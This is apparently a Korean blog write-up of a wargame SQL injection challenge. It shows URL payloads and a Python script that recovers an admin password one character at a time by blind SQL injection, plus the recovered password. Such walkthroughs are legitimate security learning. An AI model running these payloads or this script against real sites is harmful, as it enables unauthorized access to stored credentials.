cgy12306

[LOS] orc 본문

Wargame/LOS

[LOS] orc

cgy12306 2019. 8. 13. 16:49


입력받은 pw로 prob_orc 테이블에 저장된 pw와 비교를 해서 맞으면 풀리는 문제이다. Blind sql injection기법을 활용하면 된다.


https://los.eagle-jump.org/orc_47190a4d33f675a601f8def32df2583a.php?pw=' or id='admin' and length(pw)='8


length(컬럼명)은 해당 컬럼에 있는 데이터의 길이를 알아내는 명령어이다. length에 1부터 계속 하나씩 늘려가며 대입해보자.



pw의 길이는 8글자라는 것을 알아냈다. 파이썬으로 코드를 짜보자.

  • 쿠키값은 F12번을 눌러서 확인 할 수 있다.


import requests

arry=[]
url = "https://los.eagle-jump.org/orc_47190a4d33f675a601f8def32df2583a.php?"
cookies = {'__cfduid': '???????????????', 'PHPSESSID' : '???????????'}
    
for k in range(1,9):
    for j in range(32,127):
        params = {'pw':"' or id='admin' and ASCII(substr(pw,"+ str(k) + ",1))="+str(j)+"--'"}
        
        response = requests.get(url,params=params,cookies=cookies)
        if 'Hello admin' in response.text:
            print(k,' : ', j, "O")
                
            arry.append(chr(j))

            break
        else:
            print(k,' : ' , j, "X")
    
print(arry)


pw를 한글자씩 잘라서 ASCII 코드로  변환해준뒤 그 값이 참이면 'Hello admin'을 출력하게 될 것이고, 그 값을 파싱해서 'Hello admin'이라는 글자가 포함되면 배열에 넣고 아니면 계속 반복하는 코드이다.




pw는 295d5844이다.



https://los.eagle-jump.org/orc_47190a4d33f675a601f8def32df2583a.php?pw=295d5844



'Wargame > LOS' 카테고리의 다른 글

[LOS] darkelf  (0) 2019.08.13
[LOS] wolfman  (0) 2019.08.13
[LOS] goblin  (0) 2019.08.13
[LOS] cobolt  (0) 2019.08.13
[LOS] gremlin  (0) 2019.08.13
Comments